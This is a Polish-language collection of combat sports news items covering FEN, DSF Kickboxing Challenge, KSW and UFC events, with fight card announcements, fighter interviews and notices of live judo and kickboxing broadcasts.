– W ubiegłym roku kalendarz dziwnie się ułożył i stoczyłem aż trzy walki w ciągu dwóch miesięcy. To odbiło się na mojej dyspozycji – uważa Dudek. – Nawet wyniki krwi wykazały, że nie wszystko było w porządku. Musiałem zmienić pewne rzeczy i odbudować organizm. Pracowałem także nad warstwą mentalną. Moje jednostki treningowe stały się krótsze, ale bardziej intensywne. Obecnie czuję się świetnie i będę w pełni gotowy na 9 marca – zapewnia.
Mimo ponad trzydziestu walk zawodowych na koncie i trwającej od wielu lat kariery, Rafał Dudek wciąż prezentuje w ringu wysoki europejski poziom.
– Pamiętam moje walki sprzed dwóch lat. To był sztos! Wiem, że stać mnie jeszcze na taką formę, by dać ludziom niezapomniane widowiska. Mam sobie trochę do udowodnienia. Popełniłem kilka błędów, ale to już za mną. Teraz doczekaliśmy się federacji, która jest w stanie zakontraktować każdego zawodnika. Jestem przekonany, że z kilkoma najlepszymi będę mógł się zmierzyć w Polsce. Będę gotowy, by podjąć rękawice z każdym – zapewnia Rafał Dudek.
W tym roku Dudek nie zamierza powielać błędów przeszłości i planuje robić większe odstępy między walkami, by móc w pełni się regenerować i przystępować do każdego pojedynku w optymalnej formie. Kluczowe mają być dyscyplina i zachowanie tej samej sylwetki przez cały sezon startów.
– Jestem i zawsze byłem zdecydowanym przeciwnikiem dopingu. Wszyscy zawodnicy powinni mieć w ringu równe szanse – apeluje nowosądeczanin. – Nie walczę w wadze ciężkiej, masa mięśniowa nie jest tu potrzebna. Gdyby to sylwetka walczyła, to kulturyści byliby mistrzami świata w sportach walki. Oczywiście każdy zawodnik jest inny, ale w moim klubie obserwuję różnych fighterów i radzę wszystkim skupiać się jak najwięcej na technice – przypomina Rafał Dudek.
Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.
Zapraszamy do obejrzenia #21 odcinka programu z serii PZKB TV. Naszym gościem był Rafał Mazurowski trener Reprezentacji Polski Kickboxingu w formule Kick Light oraz trener i prezes klubu Centrum Sportów Walki "Champion" a także NGF Champion TV.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z gali ACB 80.
[kod]
Adrian Błeszyński (4-2) będzie rywalem Alana Kwiecińskiego (6-5) podczas gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się w kategorii wagowej do 77 kilogramów.
Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz piąty. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Dwa miesiące później we Wrocławiu stoczył jedną z najlepszych walk w historii federacji FEN i nieznacznie przegrał na punkty z Tymoteuszem Łopaczykiem. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 31-letniego „Aresa” budzi ogromne zainteresowanie kibiców.
Pojedynek z Błeszyńskim będzie trzecim występem Kwiecińskiego pod szyldem FEN, z czego drugim w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show „Warsaw Shore” w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Znamy nazwisko kolejnego bohatera gali Fight Exclusive Night 20 "Next Level". 10 marca w warszawskiej hali Torwar kibice będą mieli przyjemność zobaczyć w akcji Alana Kwiecińskiego (6-5). Zawodnik wystąpi w formule K-1 w kategorii do 77 kilogramów.
Będzie to trzeci występ Kwiecińskiego pod szyldem FEN, z czego drugi w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show "Warsaw Shore" w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.
– Miało być 10 pojedynków podczas jubileuszowej gali i tak też będzie. Czwarte zestawienie w formule K-1 uczyni to wydarzenie jeszcze lepszym. Niespełna cztery tygodnie do pierwszego gongu, a my mamy jeszcze przygotowane dla wszystkich kibiców niespodzianki. Bądźcie czujni! – powiedział Paweł Jóźwiak, prezes federacji FEN.
Nazwisko przeciwnika Alana Kwiecińskiego federacja FEN ogłosi w ciągu najbliższych dni.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Piotr Strus to kolejna gwiazda sportów walki, która wiąże się z DSF Kickboxing Challenge! W poniedziałek warszawski wojownik podpisał kontrakt z federacją. Jako kickbokser zadebiutuje już 9 marca na gali w Nowym Dworze Mazowieckim.
Do tej pory swoją karierę Strus budował poprzez walki w MMA – walcząc m.in. dla KSW czy obecnie dla ACB. Ale sporty stójkowe nie są mu obce. 29-letni zawodnik zaczynał właśnie od typowo uderzeniowych dyscyplin. Polak odnosił sukcesy w kickboxingu (dwukrotne mistrzostwo Polski młodzieżowców w formule low kick), muay thai (mistrzostwo Polski seniorów) i sandzie (Puchar Świata w Chinach, brązowe medale mistrzostw Europy i świata).
– Wywodzę się z kickboxingu i ten sport nadal jest bardzo bliski mojemu sercu. Od kilku tygodni w mediach pojawiały się spekulacje na temat podpisania umowy ze mną, chodziło jednak o Karola Celińskiego. To otworzyło jednak drogę do rozmów i Robert Złotkowski zaproponował mi dołączenie do DSF Kickboxing Challenge na podobnych zasadach – tłumaczy Strus.
Trenujący w klubie WCA Fight Team Strus wyrobił sobie mocne nazwisko w MMA. Zanim podpisał umowę z ACB, dał się poznać fanom w Polsce między innymi dzięki występom w KSW. Teraz otrzyma szansę toczenia zawodowych walk kickbokserskich.
– Propozycja od DSF Kickboxing Challenge to dla mnie duży zaszczyt i wymarzone rozwiązanie. Występ w największej rodzimej federacji kickboxingu to szansa na dodatkowy start podczas przygotowań do walki o pas ACB, ta jednak czeka mnie dopiero za kilka miesięcy, więc złożyło się wręcz idealnie – podkreśla Piotr Strus.
W tym roku do DSF Kickboxing Challenge dołączyli już m.in. byli mistrzowie FEN – Paweł Biszczak i Róża Gumienna, robiący furorę poza granicami Polski Dawid Żółtaszek, młodziutki mistrz świata K-1 Adam „Polish Psycho” Gielata oraz wspomniany wyżej inny zawodnik ACB – Karol „Cebula” Celiński.
– Nie ukrywam, że z ogromnym podziwem przyglądam się temu, jak rozwija się DSF Kickboxing Challenge. Jestem przekonany, że ta federacja przywróci kickboxingowi jego należne miejsce. W końcu ten fantastyczny sport jest pokazywany z odpowiednim rozmachem. Sądzę, że wkrótce kickboxing odzyska dawną popularność i cieszę się, że będę mógł do tego dołożyć swoją cegiełkę – mówi trener aktora Tomasza Oświecińskiego.
Debiut Strusa w DSF Kickboxing Challenge odbędzie się już 9 marca w Nowym Dworze Mazowieckim – 20 kilometrów od Łomianek, gdzie się wychował.
– Urodziłem się na warszawskiej Pradze, ale wychowałem się w Łomiankach, skąd jest naprawdę niedaleko do Nowego Dworu Mazowieckiego. Nie mam wątpliwości, że na mój debiut w DSF Kickboxing Challenge zjadą się kibice z całej okolicy. Zapraszam zarówno ich, jak i wszystkich fanów kickboxingu. Nie chcecie przegapić tego, co wydarzy się w ringu! – kończy Strus.
Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.
Bartosz Leśko vs Marcin Naruszczka. To starcie będzie pokazem sportów walki na najwyższym poziomie. Bartek chce odnieść drugie zwycięstwo w naszej klatce. Marcin chce pokazać, że ostatnia porażka była tylko wypadkiem przy pracy. Kto będzie górą?
[kod]
Miło nam wszystkich poinformować, że gala FEN 21 odbędzie się 26 maja we Wrocławiu. Areną zmagań zawodników będzie Hala Orbita.
FEN po raz siódmy zawita do Wrocławia. To właśnie w stolicy Dolnego Śląska federacja zaczynała swoją działalność i tam też odbyła się ostatnia gala w 2017 roku. "Bitwa o Wrocław" była znakomitym wydarzeniem, które szerokim echem odbiło się w całej Polsce. Drugi akt 2018 roku to powrót do Hali Orbita.
– Wrocław nam leży i 26 maja ponownie zawitamy do tego miasta. Dolny Śląsk uwielbia sporty walki, co potwierdza każda organizowana przez nas gala w tym regionie. Po jubileuszu od razu organizujemy kolejne wydarzenie i mogę już dziś zapewnić, że zaoferujemy wszystkim kibicom znakomite emocje. W Hali Orbita zobaczymy w akcji Marcina Zontka, Tymoteusza Łopaczyka i Mateusza Głąba. O kolejnych nazwiskach poinformujemy w swoim czasie – powiedział Paweł Jóźwiak, prezes FEN.
Przedsprzedaż biletów na galę FEN 21 rozpocznie się 15 lutego o godzinie 15 i będzie dostępna wyłącznie na fen-mma.com/bilet. W przedsprzedaży bilety będą dostępne w specjalnej atrakcyjnej cenie dla fanów FEN. By wziąć udział w przedsprzedaży należy wpisać specjalny kod udostępniony na kanałach społecznościowych federacji oraz jej partnerów.
Przedsprzedaż trwa do 16 lutego do godziny 15:00. Po tym terminie rusza otwarta sprzedaż u stałych partnerów biletowych serwisu.
***
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Na FEN 20 w Warszawie, Arkadiusz Wrzosek będzie bronił mistrzowskiego pasa w walce z Arturem Bizewskim. Kto wyjdzie zwycięsko z tego starcia?
[kod]
Marcin Held czeka na swoją piątą walkę w UFC. Tyszanin zgłosił akces do pojedynku z Beneilem Dariushem.
Można powiedzieć, że w Gdańsku Marcin Held powrócił do "żywych". Gala UFC Fight Night 118 okazała się szczęśliwa dla Polaka, który odniósł pierwsze zwycięstwo w amerykańskiej organizacji MMA. 26-latek na przestrzeni trzech rund okazał się lepszy od Nasrata Haqparasta. Mówiło się, że dla Polaka to walka ostatniej szansy i udało mu się "uciec spod topora".
Marcin Held trafił do UFC jesienią 2017 roku. Po jego występach w amerykańskiej organizacji obiecywano sobie wiele, bo zawodnik znakomicie radził sobie w Bellatorze, gdzie miał okazję walczyć o pas mistrzowski wagi lekkiej. W listopadzie 2015 roku przegrał jednak z Willem Brooksem.
Wracając do UFC, w debiucie polski lekki przegrał z Diego Sanchezem. W drugiej walce toczył wyrównany bój z Joe Lauzonem i wydawało się, że sędziowie zwycięstwo powinni przyznać Heldowi, jednak wskazali inaczej. Nawet rywal nie ukrywał zdziwienia. Pojedynek z Damirem Hadzoviciem był jak dotąd jedynym, który Held przegrał przez nokaut. Kolano Bośniaka doszło do głowy Polaka, a warto podkreślić, że ten wcześniej kontrolował starcie. Held przegrał po raz trzeci, ale wydostał się z tarapatów i liczy na kolejny pojedynek.
Tyszanin nie daje o sobie zapomnieć i walczy o swoje. 26-latek aż rwie się do kolejnego pojedynku. Niedawno Polak zgłosił gotowość do walki z Kajanem Johnsonem, który pozostawał bez rywala na galę UFC Fight Night 127 w Londynie wobec kontuzji Rustama Khabilova. Włodarze UFC nie słyszeli jednak wołania Helda i zestawili Johnsona z Steviem Rayem.
Były zawodnik Bellatora podjął kolejną próbę. Teraz Held chce wykorzystać fakt, że kontuzji doznał Bobby Green, który 3 marca miał rywalizować podczas gali UFC 222 w Las Vegas z Beneilem Dariushem. Polak celuje w starcie z Amerykaninem, który na zwycięstwo czeka od blisko półtora roku. – Słyszałem, że szukacie kogoś dla Beneila Dariusha na UFC 22. Sean Shelby, Dana White, UFC, jestem gotowy – napisał polski zawodnik na Twitterze.
Dariush odniósł się do słów Helda. – Nie będę narzekał. Potrzebuję tylko nazwiska – odpowiedział Amerykanin.
Pozostaje czekać na rozwój wypadków. Held to zawodnik, które ma spore możliwości i nie raz udowodnił, że ma ogromny talent. 16 z 23 walk wygrał przed czasem. Przydałoby się dopisać zwycięstwo przez poddanie w UFC. Czy, a może kiedy Polak dostanie kolejną szansę w UFC?
KM
Przed Oskarem Piechotą druga walka w UFC. W niedzielę 18 lutego w Frank Erwin Center w Austin Polak zmierzy się z Timem Williamsem.
Piechota trafił tam, gdzie jego miejsce – tak mówiło wielu, gdy fighter trafił do UFC. Do najlepszej organizacji MMA na świecie "Imadło" mógł zawitać zdecydowanie wcześniej, ale na przeszkodzie stanęła kontuzja. Poddanie japońskim krawatem w styczniu 2015 roku Craiga White'a wprawiło wszystkich w zachwyt. Wtedy wiadomo było, że wielka kariera stoi przed Polakiem otworem. Zerwane więzadło krzyżowe przednie, operacja, rehabilitacja i Piechota kolejną walkę stoczył dopiero w grudniu 2016 roku. Podczas gali Spartan Fight 6 w drugiej rundzie poddał Nikosa Sokolisa. Ważnym wydarzeniem na drodze Piechoty była walka o pas wagi średniej organizacji Cage Warriors. Jego rywalem był Jason Radcliffe. 28-latek w zaledwie 32 sekundy pokonał rywala. Lewy sierpowy, a później ciosy w parterze i Polak w fantastyczny sposób utorował sobie drogę do UFC.
Piechota nie mógł sobie wyobrazić lepszego miejsca do debiutu w UFC niż Gdańsk, w którym się urodził. Polak zmierzył się z Jonathanem Wilsonem i od początku starcia spokojnie czekał na ruch przeciwnika. Pod koniec drugiej rundy Piechota odpalił potężny prawy, ale rywal dotrwał do końca odsłony. Wilson był czujny, gdyż zdawał sobie sprawę z atutów pochodzącego z Gdańska zawodnika. Pod koniec trzeciej rundy Piechota obijał rywala parterze. Polak zwycięsko rozpoczął przygodę z UFC. Teraz czas na kolejną walkę jednego z najlepszych polskich zawodników wagi średniej.
18 lutego Oskar Piechota wystąpi na gali UFC Fight Night 126. Jego rywalem będzie Tim Williams, dla którego będzie to debiut w najlepszej organizacji MMA na świecie. Przez długi czas Amerykanin był związany z CFFC. Williams ma serię pięciu zwycięstw z rzędu. Po raz ostatni przegrał w lipcu 2015 roku z Anthony'm Smithem.
Polak intensywnie trenował i przygotowywał się do walki. Pomagał mu m.in. Tomasz Jabłoński. W poniedziałek Piechota ruszył w drogę do Stanów Zjednoczonych. Na miejscu nie narzeka na samotność. – Podróż była długa ale już na miejscu, doleciał Kamil "Profesor" Umiński także była okazja się trochę poruszać razem z trenerem Grzegorz "Jakubek" Jakubowski. Czekamy aż dojedzie Marcin Tybura oraz Zbigniew "Zybi" Tyszka i polski skład będzie w komplecie. Fight week! – napisał Piechota na Facebooku.
W walce wieczoru gali UFC Fight Night 126 zaprezentują się Donald Cerrone i Yancy Medeiros. Szóstą walkę w amerykańskiej organizacji stoczy Marcin Tybura, który zmierzy się z Derrickiem Lewisem. Ostatnio Polak przegrał z Fabricio Werdumem.
Fot. Oskar Piechota Facebook
KM
Gala KSW 43 za dwa miesiące, jednak organizacja powoli robi apetyty miłośnikom MMA. We wrocławskiej Hali Stulecia zobaczymy m.in. Michała Andryszaka, Damiana Janikowskiego i Roberto Soldicia.
1 – to liczba, która towarzyszy Michałowi Andryszakowi. 24 z 26 walk fightera urodzonego w Bydgoszczy kończyło się w pierwszych rundach. Gdy Andryszak wchodzi do oktagonu pewne jest, że pojedynek będzie efektowny. 25-latek wygrał ostatnich sześć walk, w tym trzy zakończył przed upływem jednej minuty. Andryszak ma za sobą występy na galach takich organizacji jak Cage Warriors, Fighters Arena, PLMMA oraz ACB. W KSW debiutował w marcu 2014 roku w Warszawie. Szybko uporał się z Pawłem Słowińskim, ale na kolejną walkę przyszło mu czekać ponad trzy lata. Podczas gali KSW 39, która odbyła się na stadionie PGE Narodowy Andryszak wygrał z Michałem Kitą przed duszenie, a jego akcję oceniono jako poddanie wieczoru. Jeszcze większe wrażenie zawodnik Ankosu MMA Poznań zrobił w grudniu w Katowicach. Gala KSW 41 należała do Michała Andryszaka. Fernando Rodrigues Jr ruszył na Polaka, ale otrzymał potężny cios, a 25-latek dokończył dzieła w parterze. Starcie trwało zaledwie 26 sekund! Podczas wrocławskiej gali Andryszak będzie chciał sprawić sobie prezent urodzinowy. Dwa dni wcześniej skończy 26 lat.
Niektórzy bawią się we wróżki i przepowiadają wielką karierę w MMA Damianowi Janikowskiemu. Dla brązowego medalisty olimpijskiego w zapasach z Londynu gala KSW 43 będzie wyjątkowa. Zawodnik wystąpi we Wrocławiu, czyli mieście, które jest bliskie jego sercu. Janikowski ma za sobą dwie walki w MMA. W debiucie na stadionie PGE Narodowy pokonał w pierwszej rundzie Julio Gallegosa. Kolejnym wyzwaniem dla byłego zapaśnika było starcie z legendą polskiego MMA Antonim Chmielewskim. Janikowski cały czas był aktywny, jednak 36-latek skutecznie odpierał jego ofensywne zapędy. W pierwszej rundzie medalista olimpijski obalił bardziej doświadczonego rywala. Rozstrzygnięcie przyszło w drugiej odsłonie. Chmielewski obalił Janikowskiego i szukał poddania, jednak sytuacja szybko się odwróciła i wrocławianin zasypał przeciwnika serią ciosów.
We Wrocławiu spotkają się Roberto Soldić i Dricuss du Plessis. Stawką pojedynku będzie pas w wadze półśredniej. Niejako Soldić ma „dług” wobec du Plessisa. Zawodnik z RPA miał w grudniu zmierzyć się z Borysem Mańkowskim, jednak wypadł z powodu kontuzji. Jego miejsce zajął Chorwat, który nie miał litości dla Polaka. Z każdą minutą jego przewaga zaznaczała się. Soldić kompletnie wymęczył Mańkowskiego i narożnik po trzeciej rundzie poddał dotychczasowego czempiona. We Wrocławiu zapowiada się niezwykle interesujące starcie. Znakomita seria któregoś z zawodników zostanie przerwana. Zarówno Soldić, jak i du Plessis wygrali siedem ostatnich walk.
Fot. Damian Janikowski Facebook
KM
Zapraszamy na transmisje telewizyjna na żywo z Paris Grand Slam Judo, odbywających się w Paryżu.
[kod]
Eliminations
Final Block
Zapraszamy na transmisje telewizyjna na żywo z Paris Grand Slam Judo, odbywających się w Paryżu.
[kod]
Eliminations
Final Block
Mistrzostwa Polski K1 Pro-am PZKB – 17 luty 2018 r. Marki k/ Warszawy.
Rozkład jazdy:
15:00-17:00 – eliminacje
18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:
– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K1 Pro-am PZKB.
Rozkład jazdy:
15:00-17:00 – eliminacje
18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:
– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg
[kod]
Paweł Trybała (3-3, 3 KO) zmierzy się z Tymoteuszem Świątkiem (15-4, 7 KO, 6 SUB) podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar. "Trybson" jest przekonany, że pewnie wygra swoje debiutanckie starcie w FEN, a zwycięstwo zadedykuje swojemu trenerowi, który zmaga się z nowotworem.
Jak się czujesz? Do gali zostało 30 dni.
Paweł Trybała: Czuję się dobrze, ale bylem przez kilka dni przeziębiony i musiałem zmniejszyć obciążania. Już jest jednak w porządku, wychodzę z tego, trenuję raz dziennie. Nie będzie to miało wpływu na moją dyspozycję 10 marca.
Stresujesz się już pojedynkiem?
PT: Nie. Bardziej koncentruję i sobie go wizualizuję. Trenuję z myślą o najbliższej walce, ale nie towarzyszą mi nerwy.
Układasz swój plan pod przeciwnika?
PT: Tak, oczywiście. Niestety, ale mój trener nie bierze udziału w moich przygotowaniach, gdyż zmaga się z chorobą i jego dojście do pełni zdrowia jest w tym momencie najważniejsze. Trzymam za niego kciuki, wierzę, że sobie poradzi. Mirek żyje MMA cały czas, nawet będąc w szpitalu dzwonił do mnie i analizowaliśmy styl walki Tymoteusza Świątka. Mam już nakreślony w głowie plan, jak go pokonać i uczynię to 10 marca.
Niektórzy zawodnicy nie chcą oglądać swoich przeciwników przed pojedynkiem.
PT: Wiem, są dwie szkoły, ale ja wolę widzieć, jakie robi błędy, żeby móc je wykorzystać i zwrócić uwagę na to, co robi dobrze i na co uważać. Mi to pomaga, dlatego też tak zrobiłem.
I co, widziałeś błędy Świątka w ostatnich walkach?
PT: Popełnia je jak każdy, a moim zadaniem będzie je wykorzystać. "Uśmiercić" nieśmiertelnego i wygrać. Tak też zrobię.
Choroba trenera jest dodatkową motywacją?
PT: To są trudne sprawy i niestety mogą przydarzyć się każdemu z nas, dlatego trzymam kciuki za mojego trenera, żeby z tego wyszedł. Da radę, wierzę w to. Walczę dla niego, dla rodziny, dla kibiców – dla wszystkich sympatyzujących mi osób. Z taką wiarą wychodzę do klatki, bo wiem, że to wszystko ma sens.
Jak spędzisz najbliższe tygodnie przed walką?
PT: Czeka mnie dużo pracy, czas sparingów jest bardzo trudny, ale i decydujący w kontekście przygotowania się do walki. Dodatkowo będę ćwiczył wszystkie płaszczyzny – boks, jiu-jitsu, zapasy. Nie mogę dać się zaskoczyć i będę gotowy na wszystko.
Zbijesz wagę do 80 kilogramów? Tak ciężki Świątek jeszcze nie był.
PT: Zbiję, zadeklarowałem się, więc muszę to zrobić. Warunki fizyczne powinny być moim atutem, ale na to nie mogę patrzeć. Jestem silniejszy i lepszy, więc wygram. Świątek to dobry zawodnik, ale będę musiał go pokonać. Tak też się stanie w Warszawie.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Anatolij Litwinow (5-0, 1 KO, 4 SUB) będzie rywalem Andrzeja Grzebyka (11-3, 4 KO, 3 SUB) podczas gali FEN 20 "Next Level". Dzięki temu znamy już osiem zestawień jubileuszowej edycji, która 10 marca odbędzie się w warszawskiej hali Torwar.
Litwinow jest Ukraińcem, urodził się 14 kwietnia 1991 roku w Siewierodoniecku. Z pięciu dotychczas stoczonych pojedynków wszystkie wygrał przed czasem, z czego aż czterokrotnie poddawał swoich rywali. Pierwszą walkę odbył w czerwcu 2016 roku i kolejne 13 miesięce były dla niego bardzo intensywne, gdyż w tym właśnie okresie miały miejsce wszystkie jego starcia. Za każdym razem występował w ojczyźnie i trzykrotnie mierzył się ze swoimi rywalami w kategorii półciężkiej.
Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 „Summer Edition” po znakomitej walce pokonał Marcina Naruszczkę, wcześniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 „Go For It” natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Andrzej Grzebyk (11-3, 4 KO, 3 SUB) poznał nazwisko rywala, z którym zmierzy się 10 marca podczas gali FEN 20 "Next Level". Anatolij Litwinow (5-0, 1 KO, 4 SUB) dopiero zadebiutuje w polskiej organizacji, a Grzebyk podkreśla, że wybór tego akurat przeciwnika nie będzie miał wpływu na to, jaki jego cel przed tym pojedynkiem.
Zadowolony z wyboru przeciwnika?
Andrzej Grzebyk: Czy ja wiem. Przyjąłem to ze spokojem. Skoro został zakontraktowany przez włodarzy FEN do walki ze mną, to znaczy, że musi dużo umieć i na pewno nie przyjedzie do Polski tylko po wypłatę. Nie widziałem go w akcji jeszcze prawdę mówiąc, to dopiero przede mną.
Jak dotychczasowe przygotowania?
AG: Bardzo dobrze, dziękuję. Forma dopisuje, wszystkie mniejsze urazy zostały zażegnane, więc teraz będę sparował i przygotowywał się pod mojego rywala. Trochę mnie nie było w klatce, chciałem wrócić szybciej, ale sprawy związane ze zdrowiem wyglądały w ten sposób, że musiałem wszystko w pełni wyleczyć, by po raz kolejny móc się bić.
Ze zdrowiem już wszystko w porządku?
AG: Tak, wszystko okej. Mam jakieś małe problemy, ale to skutki ciężkich treningów, sparingów. Można powiedzieć, że jestem obolały, a nie kontuzjowany. Na pewnym poziomie każdy zawodnik musi dbać o swoje zdrowie, ja wszystko wyleczyłem, teraz pozostaje mi w spokoju szykować się do walki. Nie martwię się o nic, pozostaje mi tylko trenować.
Zostały cztery tygodnie. Jak je spędzisz?
AG: Na pewno nie będę odpoczywał – to dopiero przed samą walką. Trochę pojeżdżę po różnych klubach, będę sparował, chciałbym z jak najlepszymi zawodnikami móc zmierzyć się, by pomogli mi przygotować się przed 10 marca.
Nie chciałeś walczyć z Polakiem?
AG: Nie robiło mi to żadnej różnicy, choć pojedynki z Polakami są inne. Jest większa presja, atmosfera przed pojedynkiem jest inna, są zaczepki, prowokacje, często gdzieś wcześniej nasze drogi już się zeszły i łączy nas jakaś historia. Jest więcej otoczki przed samym pojedynkiem.
Gdybyś jednak przegrał z Ukraińcem, którego nikt w Polsce nie zna, to też dużo osób mogłoby pomyśleć, że wypadłeś słabo.
AG: Trochę tak, ale mój rywal jest wielką niewiadomą na ten moment dla mnie, dopiero po obejrzeniu jego pojedynków będę mógł więcej na ten temat powiedzieć. W Polsce niewiele go zna, ale to pewnie dobry zawodnik. Niepokonany, za każdym razem kończący swoich rywali przed czasem. To musi coś znaczyć.
Ostatnio powiedziałeś, że chciałbyś w końcu stoczyć pojedynek o pas.
AG: Najbliższy pojedynek nie będzie o pas, więc w ogóle o tym nie myślę. Liczą się cztery najbliższe tygodnie i walka z Antolijem Litwinowem. To jest dla mnie najbardziej istotne. Co będzie potem, zobaczymy, niczego nie zakładam, ale też niczego nie wykluczam.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
3 marca wojownicy KSW pojawią się na gali numer 42 w łódzkiej Atlas Arenie. Wiadomo już, gdzie odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. 14 kwietnia KSW zawita do Wrocławia.
Organizatorzy zapewniają, że w Hali Stulecia pojawią się czołowi fighterzy. Należy czekać na nazwiska, które będą stopniowo wypełniać kartę walk. Kibice MMA z Wrocławia przyzwyczaili się, że na galach KSW w ich mieście nie brakuje gwiazd. Jednak zdążyli się już stęsknić za organizacją Lewandowskiego i Kawulskiego. Po raz ostatni w stolicy Dolnego Śląska KSW gościła w grudniu 2013 roku. Dotychczas we Wrocławiu organizacja była obecna trzy razy.
Podczas ostatniej wizyty, KSW 25, kibice MMA mogli podziwiać efektowną wygraną Mameda Khalidova, który w pierwszej rundzie uporał się z Ryutą Sakuraiem. Również przed czasem wygrywali Rafał Moks, Krzysztof Kułak, Mike Hayes (w pierwszych rundach), Rafał Błachuta, Oli Thompson (w drugich rundach) oraz Jakub Kowalewicz (trzecia runda). We Wrocławiu odbyły się również gale: KSW Eliminacje oraz KSW Eliminacje 2. W pierwszym przypadku turniej wygrał Jan Błachowicz, a w walkach dodatkowych wygrywali Łukasz Jurkowski, Krzysztof Kułak i Mamed Khalidov. Z kolei triumfatorem turnieju podczas KSW Eliminacje 2 był Michał Fijałka. Maciej Górski, Kułak i Khalidov triumfowali w walkach dodatkowych.
Teraz Łódź
Zanim gala we Wrocławiu, kibice zobaczą KSW 42 w łódzkiej Atlas Arenie. 3 marca należy spodziewać się niezwykle ciekawych pojedynków. W walce wieczoru zmierzą się mistrzowie wagi średniej i półciężkiej: Mamed Khalidov i Tomasz Narkun. Pasów mistrzowskich będą bronili Ariane Lipski i Mateusz Gamrot. Kolejny pojedynek w KSW stoczy Łukasz Jurkowski, a w organizacji zadebiutują Paulina Owczarz, Paulina Raszewska i Bartłomiej Kopera. Nie wolno również zapomnieć o starciu Michała Materli, który zmierzy się z Scottem Askhamem.
Warto również wspomnieć, że kontrakt z KSW podpisał nowy zawodnik. To Philip de Fries, który rywalizuje w wadze ciężkiej. 31-latek wygrał czternaście walk, zanotował sześć porażek. Aż jedenaście pojedynków zakończył przez poddanie.
KM
Zapraszamy do obejrzenia 20 odcinka programu z serii PZKB TV. Naszym gościem był Pan Sławomir Duba Prezes federacji DSF Kickboxing Challenge.
[kod]
3 marca podczas gali UFC 222 w T-Mobile Arenie w Las Vegas Cristiane Justino po raz drugi będzie broniła pasa wagi piórkowej. Naprzeciw skutecznej do bólu Brazylijki stanie Yana Kunitskaya.
Popularna "Cyborg" jest bezapelacyjną gwiazdą kobiecego MMA. W każdej walce "idzie po swoje". Dosłownie miażdży kolejne rywalki i staje się postrachem dla tych, które z nadzieją spoglądają w stronę pasa wagi piórkowej. W ostatniej walce, 30 grudnia, trudne warunki Brazylijce postawiła Holly Holm. 36-letnia była mistrzyni wagi koguciej UFC wytrzymała z Justino w oktagonie pięć rund. Co prawda przegrała jednogłośnie na punkty, ale "Cyborg" po raz ostatni na pełnym dystansie walczyła blisko dziesięć lat temu! Kibice czekają na występy zawodniczki z Kurytyby, bo wiedzą, że mogą spodziewać się efektownych pojedynków. Dotychczas Justino stoczyła cztery walki w UFC, trzy z nich wygrała przed czasem.
